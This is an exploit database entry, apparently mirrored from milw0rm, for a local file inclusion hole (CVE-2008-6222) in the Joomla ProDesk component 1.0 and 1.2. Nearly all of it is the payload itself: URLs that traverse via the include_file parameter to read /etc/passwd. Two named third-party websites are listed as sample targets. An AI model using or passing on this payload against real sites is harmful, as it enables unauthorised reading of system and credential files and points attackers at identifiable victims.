Exploit Joomla! Component ProDesk 1.0/1.2 - Local File Inclusion

[Exploiter]

EDB-ID

6980

Проверка EDB

1. Пройдено

Автор

D3V1L

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-6222

Дата публикации

2008-11-04

[~]-------------------------------------------------------------------------------------------------------
[~] Joomla Component ProDesk v 1.0 AND 1.2 (com_pro_desk&include_file) Local File Inclusion Vulnerability
[~]
[~] http://joomlashowroom.com/index.php/Pro-Desk-Support-Center/Pro-Desk-Support-Center.html
[~]  
[~] 
[~] ----------------------------------------------------------------------------------------------------
[~] Bug founded by d3v1l [Avram Marius]
[~]
[~] Date: 4.11.2008
[~]
[~]
[~] [email protected] http://security-sh3ll.com
[~]
[~] -----------------------------------------------------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] milw0rm staff
[~]------------------------------------------------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd
[~]  
[~] Ex :- v 1.2
[~]
[~] http://www.reviewyou.com.au/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd
[~]-------------------------------------------------------------------------------------------------------
[~] 
[~] Ex :- v1.0 
[~]  
[~] http://www.ppcmanagement.com/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd 
[~]---------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-11-04]